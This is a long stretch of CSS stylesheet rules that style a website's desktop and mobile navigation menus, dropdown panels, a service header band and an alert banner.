.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::after, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::after, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::after, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::after { color: rgb(238, 238, 238); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .logo { padding: 0px 0.5em; margin: 0px 0px 0px auto; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event { width: 100%; padding: 0px 0.625em 0px 1.25em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event::after { position: absolute; right: 1.25em; color: rgb(222, 37, 84); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event span { display: flex; position: relative; align-items: center; min-height: 3.5625em; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button { display: flex; position: relative; color: rgb(0, 0, 0); font-size: 0.875em; align-items: center; width: 100%; min-height: 4.07143em; padding: 0px 0.357143em 0px 1.42857em; font-weight: 700; text-align: left; text-decoration: none; cursor: pointer; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button::before { position: absolute; top: 50%; right: 20px; padding: 3px; content: &quot;&quot;; border-style: solid; border-color: rgb(204, 204, 204); border-image: none; border-width: 0px 2px 2px 0px; transform: translateY(-50%) rotate(45deg); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded=&quot;true&quot;] { background-color: rgb(238, 238, 238); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active::before, .gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded=&quot;true&quot;]::before { transform: rotate(-135deg); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-color: rgb(0, 121, 128) !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:not([aria-expanded=&quot;true&quot;]) + .items { display: none; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items { background: rgb(238, 238, 238); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link { display: block; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.78571em; font-size: 0.875em; line-height: 2.85714em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-color: rgb(0, 121, 128) !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links { border-top: 0.1875em solid rgb(238, 238, 238); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a { font-size: 0.875em; display: flex; align-items: center; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.42857em; line-height: 2.85714em; outline-offset: 0px; font-weight: 700; color: rgb(0, 0, 0); }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a:focus-visible { outline-color: rgb(0, 121, 128) !important; outline-offset: -0.25em !important; }

.gp.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a i { font-size: 1.71429em; padding-right: 0.3em; }

.gp.navigation .icon.after.arrow-right { text-align: left; box-sizing: border-box; width: 100%; min-height: 1.14286em; line-height: 1.14286em; font-size: 0.875em; font-weight: bold; padding: 1.07143em; display: flex; align-items: center; gap: 0.714286em; }

.gp.navigation .icon.after.arrow-right::after { color: rgb(255, 121, 0); font-size: 1.42857em; margin-left: auto; }

.gp.navigation .icon.after.arrow-right:hover, .gp.navigation .icon.after.arrow-right:focus, .gp.navigation .icon.after.arrow-right:focus-visible { text-decoration: none; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.gp.navigation .icon.after.arrow-right:hover:focus-visible, .gp.navigation .icon.after.arrow-right:focus:focus-visible, .gp.navigation .icon.after.arrow-right:focus-visible:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.gp.navigation .pos-marker { position: absolute; width: 0px; height: 0px; visibility: hidden; }

.sosh.navigation .nav-list .nav-item .mega-menu-button, .sosh.navigation .nav-list .nav-item .dropdown-item-link, .sosh.navigation .events .event { color: rgb(0, 0, 0); border: medium; position: relative; display: flex; align-items: center; min-height: 3.125em; font-size: 1em; text-align: center; text-decoration: none; cursor: pointer; padding: 0px 1.25em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.sosh.navigation .nav-list .nav-item .mega-menu-button:first-of-type, .sosh.navigation .nav-list .nav-item .dropdown-item-link:first-of-type, .sosh.navigation .events .event:first-of-type { margin-left: -1.25em; }

.sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .events .event:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

@media (max-width: 60em) {
  .sosh.navigation .nav-list .nav-item .mega-menu-button, .sosh.navigation .nav-list .nav-item .dropdown-item-link, .sosh.navigation .events .event { padding: 0px 0.3125em; }
}

.sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded=&quot;true&quot;], .sosh.navigation .nav-list .nav-item .mega-menu-button:active, .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .mega-menu-button:hover, .sosh.navigation .nav-list .nav-item .dropdown-item-link[aria-expanded=&quot;true&quot;], .sosh.navigation .nav-list .nav-item .dropdown-item-link:active, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover, .sosh.navigation .events .event[aria-expanded=&quot;true&quot;], .sosh.navigation .events .event:active, .sosh.navigation .events .event:focus-visible, .sosh.navigation .events .event:hover { color: rgb(0, 121, 128); }

.sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded=&quot;true&quot;], .sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded=&quot;true&quot;] span, .sosh.navigation .nav-list .nav-item .mega-menu-button:active, .sosh.navigation .nav-list .nav-item .mega-menu-button:active span, .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible span, .sosh.navigation .nav-list .nav-item .mega-menu-button:hover, .sosh.navigation .nav-list .nav-item .mega-menu-button:hover span, .sosh.navigation .nav-list .nav-item .dropdown-item-link[aria-expanded=&quot;true&quot;], .sosh.navigation .nav-list .nav-item .dropdown-item-link[aria-expanded=&quot;true&quot;] span, .sosh.navigation .nav-list .nav-item .dropdown-item-link:active, .sosh.navigation .nav-list .nav-item .dropdown-item-link:active span, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible span, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover span, .sosh.navigation .events .event[aria-expanded=&quot;true&quot;], .sosh.navigation .events .event[aria-expanded=&quot;true&quot;] span, .sosh.navigation .events .event:active, .sosh.navigation .events .event:active span, .sosh.navigation .events .event:focus-visible, .sosh.navigation .events .event:focus-visible span, .sosh.navigation .events .event:hover, .sosh.navigation .events .event:hover span { font-weight: 700; }

.sosh.navigation .nav-list .nav-item .mega-menu-button:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .events .event:focus-visible { outline-color: rgb(0, 121, 128) !important; }

.sosh.navigation .nav-list .nav-item .mega-menu-button, .sosh.navigation .nav-list .nav-item .dropdown-item-link { background: none; }

.sosh.navigation .nav-list { display: flex; width: 100%; padding-top: 0px; padding-bottom: 0px; margin: 0px; list-style: none; gap: 0.625em; }

.sosh.navigation .nav-list:not(.dropdown) { padding: 0px; }

.sosh.navigation .nav-list .nav-item { margin: 0px; transition: margin 0.3s ease-in-out; }

.sosh.navigation .nav-list .nav-item[aria-expanded=&quot;true&quot;] { margin-bottom: 3.125em; }

.sosh.navigation .nav-list .nav-item.hidden-dropdown { margin-bottom: 0px; }

.sosh.navigation .nav-list .nav-item.hidden-dropdown .nav-list.dropdown { display: none !important; }

.sosh.navigation .nav-list .nav-item .dropdown-item-link { flex-direction: column; justify-content: center; color: rgb(255, 255, 255); outline: none; outline-offset: -3px !important; transition: outline-offset 0.15s ease-in-out !important; }

.sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -7px !important; }

@media (max-width: 60em) {
  .sosh.navigation .nav-list .nav-item .dropdown-item-link { padding: 0px 0.3125em; }
}

.sosh.navigation .nav-list .nav-item .dropdown-item-link:active, .sosh.navigation .nav-list .nav-item .dropdown-item-link:focus-visible, .sosh.navigation .nav-list .nav-item .dropdown-item-link:hover, .sosh.navigation .nav-list .nav-item .dropdown-item-link.url-match { color: rgb(255, 255, 255); box-shadow: rgb(0, 0, 0) 1.625em 0px 0px 0px inset, rgb(0, 0, 0) -1.625em 0px 0px 0px inset, rgb(38, 130, 142) 0px -0.3125em 0px 0px inset; }

.sosh.navigation .nav-list .nav-item .mega-menu-button { position: relative; height: 3.125em; flex-direction: column; }

.sosh.navigation .nav-list .nav-item .mega-menu-button + .dropdown.nav-list { height: 0px; transition: height 0.3s ease-in-out; background: rgb(0, 0, 0); position: absolute; left: 0px; right: 0px; top: 3.125em; }

.sosh.navigation .nav-list .nav-item .mega-menu-button + .dropdown.nav-list a { visibility: hidden; }

.sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded=&quot;true&quot;]::after { position: absolute; top: 100%; left: 50%; z-index: 1; content: &quot;&quot;; border-width: 10px; border-style: solid; border-color: rgba(0, 0, 0, 0) rgba(0, 0, 0, 0) rgb(255, 255, 255); border-image: none; transform: rotate(180deg) translateX(50%) translateY(5%); }

.sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded=&quot;true&quot;] + .dropdown.nav-list { height: 3.125em; }

.sosh.navigation .nav-list .nav-item .mega-menu-button[aria-expanded=&quot;true&quot;] + .dropdown.nav-list a { visibility: visible; }

.sosh.navigation .nav-list .nav-item span.text-content { display: flex; height: 100%; line-height: 100%; align-items: center; }

.sosh.navigation .nav-list .nav-item span.keep-size { display: block; color: rgb(255, 0, 255); font-weight: bold; visibility: hidden; overflow: hidden; height: 0px; }

.sosh.navigation .mobile-navigation-menu ul { list-style: none; padding: 0px; margin: 0px; }

.sosh.navigation .mobile-navigation-menu:not(.is-open) * { display: none; }

.sosh.navigation .mobile-navigation-menu.is-open .mobile-navigation-content { transform: translateX(0px); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content { display: flex; transform: translateX(-100%); transition: transform 0.3s; position: fixed; top: var(--top-offset); bottom: 0px; background-color: rgb(20, 20, 20); border-right: 1px solid rgb(85, 85, 85); color: rgb(255, 255, 255); z-index: 99980; left: 0px; width: 22.5em; overflow: hidden; }

@media screen and (max-width: 30em) {
  .sosh.navigation .mobile-navigation-menu .mobile-navigation-content { width: 100%; }
}

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel { flex: 0 0 100%; overflow-y: auto; transition: transform 0.3s; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel > * { display: block; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel a { font-size: 0.875em; padding: 1.07143em; font-weight: 700; text-decoration: none; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back { display: flex; padding: 0.9375em; border-bottom: 1px solid rgb(85, 85, 85); outline: none; outline-offset: -2px !important; transition: outline-offset 0.15s ease-in-out !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -6px !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .link-back::before { font-size: 1.25em; transform: rotate(180deg); color: rgb(241, 110, 0); padding-right: 0.3125em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .level-panel .title { display: block; font-size: 0.875em; font-weight: 700; padding: 1.07143em; color: rgb(241, 110, 0); border-bottom: 1px solid rgb(85, 85, 85); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-1, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 { display: flex; flex: 0 0 100%; overflow: hidden auto; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-2 .level-panel { transform: translateX(-100%); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .selected-level-3 .level-panel { transform: translateX(-200%); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links { background-color: rgb(0, 0, 0); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a { border-top: 1px solid rgb(85, 85, 85); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mega-menu-links a.icon::before { font-size: 1.42857em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher { display: flex; flex-wrap: wrap; justify-content: space-around; gap: 0.9375em; padding: 0.9375em; background-color: rgb(20, 20, 20); border-top: 1px solid rgb(51, 51, 51); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { display: flex; padding: 0.9375em; box-sizing: border-box; width: calc(50% - 0.9375em); align-items: center; justify-content: left; border: 1px solid rgb(51, 51, 51); }

@media (max-width: 20.3125em) {
  .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * { width: 100%; }
}

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher > * > i.icon { font-size: 1.2em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { display: flex; padding: 0.357143em; margin: 0.714286em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { margin-right: auto; display: flex; }

@media screen and (max-width: 64em) {
  .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { flex-direction: column; }
}

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event { padding: 0.3125em; font-size: 0.875em; color: rgb(241, 110, 0); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:hover, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event:focus-visible { color: rgb(255, 255, 255); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events > .event span { display: inline-block; font-size: 1em; min-height: 1em; line-height: 1em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events { background-color: rgb(0, 0, 0); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .events .event { border-top: 1px solid rgb(85, 85, 85); font-size: 1em; padding: 0.875em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a { gap: 6px; position: relative; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .icon::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .icon::before { margin-top: 3px; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-app-launcher a .badge, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level1 .mobile-bottom-links a .badge { right: unset; transform: scale(0.85); top: 0.5em; left: 1.5em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel { display: none; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel.is-selected { display: unset; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link { border-bottom: 1px solid rgb(85, 85, 85); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .section-link .icon { font-size: 1.5em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level2 .panel .bottom-link { padding: 0.9375em; display: flex; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel { display: none; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .panel.is-selected { display: unset; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category { border-bottom: 1px solid rgb(85, 85, 85); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category h3 { margin: 0px; font-size: 0.875em; padding: 0.9375em; font-weight: 700; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul { margin: 0px; padding: 0px; list-style-type: none; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a { font-weight: normal; padding: 0.75em 0.9375em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .mobile-navigation-level3 .category ul li a.badge-new::after { display: inline-block; font-size: 0.75em; font-weight: bold; content: &quot;NEW&quot;; padding: 0em 0.3125em; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); margin-left: 0.3125em; position: relative; top: -0.1875em; text-decoration: none; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content { background-color: rgb(255, 255, 255); display: flex; flex-direction: column; width: 100%; overflow-y: auto; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header { display: flex; height: 3.75em; background: rgb(38, 130, 142); justify-content: space-between; align-items: center; padding: 0px 0.9375em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header * { color: rgb(255, 255, 255); outline: none; transition: outline-offset 0.15s ease-in-out !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header :focus-visible { outline-width: 2px; outline-style: solid; outline-offset: 0px !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close { display: flex; align-items: center; justify-content: center; height: 2.5em; font-weight: 700; padding: 0px 0.375em 0px 2.1875em; border: 0px; background: none; position: relative; cursor: pointer; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { position: absolute; top: 50%; left: 0.9375em; width: 0.125em; height: 1.5625em; content: &quot; &quot;; background-color: rgb(255, 255, 255); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::before { transform: translateY(-50%) rotate(45deg); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close::after { transform: translateY(-50%) rotate(-45deg); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:hover::after, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus::after, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:active::after, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .burger-close:focus-visible::after { color: rgb(238, 238, 238); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-header .logo { padding: 0px 0.5em; margin: 0px 0px 0px auto; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event { width: 100%; padding: 0px 0.625em 0px 1.25em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event::after { position: absolute; right: 1.25em; color: rgb(222, 37, 84); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .events .event span { display: flex; position: relative; align-items: center; min-height: 3.5625em; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button { display: flex; position: relative; color: rgb(0, 0, 0); font-size: 0.875em; align-items: center; width: 100%; min-height: 4.07143em; padding: 0px 0.357143em 0px 1.42857em; font-weight: 700; text-align: left; text-decoration: none; cursor: pointer; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button::before { position: absolute; top: 50%; right: 20px; padding: 3px; content: &quot;&quot;; border-style: solid; border-color: rgb(204, 204, 204); border-image: none; border-width: 0px 2px 2px 0px; transform: translateY(-50%) rotate(45deg); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded=&quot;true&quot;] { background-color: rgb(238, 238, 238); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:hover::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:active::before, .sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button[aria-expanded=&quot;true&quot;]::before { transform: rotate(-135deg); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:focus-visible { outline-color: rgb(0, 121, 128) !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .item-toggle-button:not([aria-expanded=&quot;true&quot;]) + .items { display: none; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items { background: rgb(238, 238, 238); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link { display: block; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.78571em; font-size: 0.875em; line-height: 2.85714em; outline: none; outline-offset: 0px !important; transition: outline-offset 0.15s ease-in-out !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-width: 2px; outline-style: solid; outline-offset: -4px !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .burger-menu-nav .burger-menu-nav-item .items .item .item-link:focus-visible { outline-color: rgb(0, 121, 128) !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links { border-top: 0.1875em solid rgb(238, 238, 238); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a { font-size: 0.875em; display: flex; align-items: center; min-height: 2.85714em; padding: 0px 0.357143em 0px 1.42857em; line-height: 2.85714em; outline-offset: 0px; font-weight: 700; color: rgb(0, 0, 0); }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a:focus-visible { outline-color: rgb(0, 121, 128) !important; outline-offset: -0.25em !important; }

.sosh.navigation .mobile-navigation-menu .mobile-navigation-content .sosh-burger-content .mobile-bottom-links a i { font-size: 1.71429em; padding-right: 0.3em; }

@media (max-width: 64em) {
  .sosh.navigation { min-height: 0px; z-index: 10000000; border-bottom: 0px; }
}

.band.service { position: relative; background-color: rgb(255, 255, 255); color: rgb(0, 0, 0); }

@media (max-width: 64em) {
  .band.service { padding: 0.3125em; border-bottom: 0.0625em solid rgb(221, 221, 221); }
}

@media screen and (min-width: 64em) {
  .band.service { min-height: 6.875em; display: flex; justify-content: space-between; align-items: center; }
}

.band.service h1 { margin: 0.1875em auto 0.1875em 0.3125em; font-size: 1.5em; line-height: 1.5em; }

@media screen and (min-width: 64em) {
  .band.service h1 { margin: 0px; font-size: 2.125em; }
}

@media screen and (min-width: 80em) {
  .band.service h1 { font-size: 2.625em; }
}

.band.service h1 a { font-size: inherit; color: rgb(0, 0, 0); text-decoration: none; }

.band.service h1 a:visited { color: rgb(0, 0, 0); }

.band.service h1 a:hover, .band.service h1 a:active, .band.service h1 a:focus { text-decoration: none; }

.band.bandeau-alerte { display: flex; color: rgb(0, 0, 0); font-size: 1em; padding-top: 10px; padding-bottom: 10px; z-index: 99980; }

.band.bandeau-alerte .icon-wrapper { display: flex; align-items: center; width: 2em; min-height: 2em; padding-right: 0.9375em; }

@media (max-width: 48em) {
  .band.bandeau-alerte .icon-wrapper { align-items: flex-start; }
}

.band.bandeau-alerte .icon-wrapper .icon { font-size: 2em; display: inline-block; }

.band.bandeau-alerte .message-wrapper { display: flex; align-items: center; padding: 0px; }

.band.bandeau-alerte .message-wrapper p { margin: 0px; }

.band.bandeau-alerte .message-wrapper p .description { padding-left: 0.3em; margin-right: 0.5em; }

.band.bandeau-alerte .message-wrapper p .click-to-action { display: inline-flex; flex-wrap: nowrap; color: rgb(0, 0, 0); font-weight: bold; text-decoration: underline; }

